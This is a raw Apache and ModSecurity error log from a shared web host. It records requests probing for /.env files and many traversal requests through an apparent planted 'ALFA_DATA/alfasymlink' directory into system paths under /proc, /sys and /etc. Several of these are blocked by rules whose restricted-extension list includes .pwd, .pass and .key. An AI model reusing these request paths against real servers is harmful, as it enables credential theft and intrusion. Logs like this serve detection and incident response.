[Sat Oct 24 12:32:00.889901 2026] [security2:error] [pid 2666873:tid 2666873] [client 130.12.180.170:18868] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzdgKpyxzGTDP3At0pyZAAAAAc"]
[Sat Oct 24 12:32:03.677982 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.45.92.83:50708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:07.740763 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 44.193.115.232:7208] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:11.511879 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 54.87.95.7:63903] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:08/subsystem/devices/device:0e/subsystem/devices/QEMU0002:00/physical_node/driver/uevent
[Sat Oct 24 12:32:15.475641 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 184.73.35.182:55976] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:19.632125 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.28.204.82:44985] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:23.795321 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.215.59.93:3536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:27.630685 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.215.210.112:58837] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:31.596210 2026] [ssl:error] [pid 2666873:tid 2666873] (5)Input/output error: [client 3.227.180.70:13719] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:33.234593 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 185.191.171.17:41532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/partial
[Sat Oct 24 12:32:39.563148 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.206.249.188:49202] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:43.598322 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.201.155.215:15427] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:47.792679 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.2.83.227:51713] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:51.691559 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.200.58.199:20732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:55.697762 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.70.209.13:9299] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:55.698011 2026] [security2:error] [pid 2661974:tid 2661974] [client 52.70.209.13:9299] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory2/state"] [unique_id "atzdt1J_jwyaxTk3PFs1QwAAAAE"]
[Sat Oct 24 12:32:55.698039 2026] [security2:error] [pid 2661974:tid 2661974] [client 52.70.209.13:9299] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory2/state"] [unique_id "atzdt1J_jwyaxTk3PFs1QwAAAAE"]
[Sat Oct 24 12:32:59.884355 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.232.12.157:41999] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:33:15.608398 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.89.176.255:9941] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:33:20.019520 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.0.41.164:42979] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:33:31.790673 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.209.187.99:63610] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:33:43.650187 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 98.82.214.73:9041] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:33:47.889695 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 107.20.25.33:5843] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:34:05.265649 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 85.208.96.202:41096] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:34:11.762398 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 35.174.141.243:42285] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:34:11.762603 2026] [security2:error] [pid 2653691:tid 2653691] [client 35.174.141.243:42285] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/drivers/ata_generic/module/srcversion"] [unique_id "atzeAwg8t6UDSRTNwJOXJQAAABc"]
[Sat Oct 24 12:34:11.762634 2026] [security2:error] [pid 2653691:tid 2653691] [client 35.174.141.243:42285] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/drivers/ata_generic/module/srcversion"] [unique_id "atzeAwg8t6UDSRTNwJOXJQAAABc"]
[Sat Oct 24 12:34:19.989226 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 44.221.37.41:3023] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:34:22.353873 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 85.208.96.196:33922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/slab_size
[Sat Oct 24 12:34:31.806608 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 18.232.11.247:14434] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:34:35.981279 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.212.86.97:46997] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:34:39.880955 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 52.1.106.130:53178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_blk/unbind
[Sat Oct 24 12:34:43.757224 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 54.225.98.148:54553] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/event0/subsystem/input3/device/driver/serio1/drvctl
[Sat Oct 24 12:34:45.140826 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.194:16606] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/seq_file/store_user
[Sat Oct 24 12:34:49.087322 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 34.194.14.255:50981] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:01/PNP0303:00/physical_node1/drvctl
[Sat Oct 24 12:34:51.795760 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 44.193.115.232:2546] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:34:55.887524 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.21.62.139:49818] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:35:04.007169 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 18.204.89.56:33410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/resource0
[Sat Oct 24 12:35:12.310597 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.45.15.233:65332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:35:19.847151 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.197.102.71:47282] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:35:27.856410 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.4.238.8:51800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:35:41.576045 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.203:52530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/unix_update
[Sat Oct 24 12:35:41.576628 2026] [security2:error] [pid 2627273:tid 2627273] [client 85.208.96.203:52530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/unix_update"] [unique_id "atzeXRdOhHN-18IxgZKtNwAAAAY"]
[Sat Oct 24 12:35:41.576661 2026] [security2:error] [pid 2627273:tid 2627273] [client 85.208.96.203:52530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/unix_update"] [unique_id "atzeXRdOhHN-18IxgZKtNwAAAAY"]
[Sat Oct 24 12:35:43.668346 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.192.67.98:34355] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:35:47.705627 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 44.218.170.184:32808] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:35:52.029404 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 54.225.98.148:6626] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/subsystem/drivers/processor/cpu1/driver/cpu0/firmware_node/physical_node/crash_notes
[Sat Oct 24 12:35:55.546843 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 23.23.180.225:20211] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:36:03.729627 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.197.76.210:56975] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:36:11.844557 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.2.58.41:36478] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:36:19.678126 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 100.29.63.24:55587] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/QEMU0002:00/driver/uevent
[Sat Oct 24 12:36:23.613053 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 54.92.171.106:3841] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:36:27.676265 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.204.150.196:48982] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:36:31.268315 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 185.191.171.9:44322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/store_user
[Sat Oct 24 12:36:31.580290 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.200.54.136:60111] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:36:35.715790 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.194.226.74:52302] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:36:40.424149 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 50.17.193.48:21828] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:36:43.562303 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.209.35.147:49496] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:36:48.148684 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 98.84.60.17:23882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:36:49.858376 2026] [security2:error] [pid 2627273:tid 2627273] [client 185.191.171.10:39210] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/tcsd.conf"] [unique_id "atzeoRdOhHN-18IxgZKtOQAAAAY"]
[Sat Oct 24 12:36:49.858768 2026] [security2:error] [pid 2627273:tid 2627273] [client 185.191.171.10:39210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/tcsd.conf"] [unique_id "atzeoRdOhHN-18IxgZKtOQAAAAY"]
[Sat Oct 24 12:36:49.859169 2026] [security2:error] [pid 2627273:tid 2627273] [client 185.191.171.10:39210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/tcsd.conf"] [unique_id "atzeoRdOhHN-18IxgZKtOQAAAAY"]
[Sat Oct 24 12:36:51.590162 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.221.50.71:18717] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:36:55.765666 2026] [ssl:error] [pid 2653689:tid 2653689] (5)Input/output error: [client 3.213.85.234:55477] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:37:03.553689 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 3.212.219.113:48291] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:37:11.649136 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.81.253.213:6927] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:37:15.760263 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.205.91.101:35212] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:37:27.825981 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.159.18.27:39853] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:37:31.659854 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 34.238.45.183:44930] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:37:43.955049 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 18.232.36.1:28827] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:37:47.854880 2026] [ssl:error] [pid 2653819:tid 2653819] (5)Input/output error: [client 23.21.204.95:48629] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:37:50.772180 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.197:41168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/khugepaged_mm_slot/validate
[Sat Oct 24 12:37:55.811632 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.3.26.180:16647] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:38:00.741562 2026] [core:crit] [pid 2661978:tid 2661978] (13)Permission denied: [client 95.214.53.196:53768] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 12:38:00.934381 2026] [core:crit] [pid 2627273:tid 2627273] (13)Permission denied: [client 95.214.53.196:44562] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 12:38:03.834215 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 3.230.69.161:16007] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:38:11.904312 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.85.109.140:63741] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:38:15.660140 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.167.32.123:56645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:38:23.754952 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.204.174.139:55959] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:38:31.875966 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 98.82.214.73:22664] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:38:39.737372 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 34.196.237.236:46594] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/device:02/wakeup/wakeup0/device/subsystem/drivers/battery/uevent
[Sat Oct 24 12:38:48.068010 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.196.237.236:59541] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:38:57.131217 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 85.208.96.199:50704] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache_node/object_size
[Sat Oct 24 12:38:59.975606 2026] [ssl:error] [pid 2627273:tid 2627273] (5)Input/output error: [client 107.20.255.194:61316] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:39:03.464068 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.200.58.199:19712] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:39:07.706756 2026] [ssl:error] [pid 2666873:tid 2666873] (5)Input/output error: [client 35.169.102.85:40299] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:39:27.771347 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.225.45.252:4670] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:39:55.624832 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 18.215.112.101:12018] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:40:03.675497 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.223.116.180:33397] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:40:07.600853 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.91.122.193:35248] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:40:11.925015 2026] [ssl:error] [pid 2666873:tid 2666873] (5)Input/output error: [client 34.194.14.255:49090] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:40:23.694417 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 184.72.84.154:24989] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty30/subsystem/tty43/subsystem/ttyS2/flags
[Sat Oct 24 12:40:35.728803 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 52.3.155.146:57979] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/crash_notes
[Sat Oct 24 12:40:39.680760 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 34.225.87.80:9695] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:40:44.023180 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 3.212.205.90:21643] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/input4/device/driver/serio1/subsystem/drivers/serio_raw/uevent
[Sat Oct 24 12:40:51.633005 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 44.208.223.68:25006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:05.0/rescan
[Sat Oct 24 12:40:59.783384 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.211.181.86:52219] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:41:11.878126 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 3.213.106.226:5799] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:41:15.745934 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.4.229.9:47406] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:41:27.766900 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.213.85.234:4286] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:41:31.697823 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 34.236.185.101:35687] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:41:43.653225 2026] [ssl:error] [pid 2661974:tid 2661974] (22)Invalid argument: [client 18.205.127.11:31464] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:41:45.388625 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 185.191.171.7:37706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/secpath_cache/trace
[Sat Oct 24 12:41:47.706345 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 34.227.156.153:19699] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:41:51.183476 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 85.208.96.205:41620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sbin/unix_update
[Sat Oct 24 12:41:51.556773 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.222.190.107:30647] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:41:59.675337 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.92.171.106:52054] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:42:03.749305 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 34.192.67.98:34698] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:42:11.935025 2026] [security2:error] [pid 2661974:tid 2661974] [client 130.12.180.167:39362] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "atzf41J_jwyaxTk3PFs1VwAAAAE"]
[Sat Oct 24 12:42:11.935303 2026] [security2:error] [pid 2661974:tid 2661974] [client 130.12.180.167:39362] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "atzf41J_jwyaxTk3PFs1VwAAAAE"]
[Sat Oct 24 12:42:11.935779 2026] [security2:error] [pid 2661974:tid 2661974] [client 130.12.180.167:39362] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "atzf41J_jwyaxTk3PFs1VwAAAAE"]
[Sat Oct 24 12:42:15.800744 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.54.95.127:57054] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:42:19.599609 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.196.118.6:14376] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:42:23.707850 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.94.40.182:41030] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:42:27.682098 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.231.181.240:2633] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:42:31.799747 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 23.21.250.48:54087] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:42:36.027578 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 100.28.49.152:53865] AH02013: coalesce failed to read from data bucket
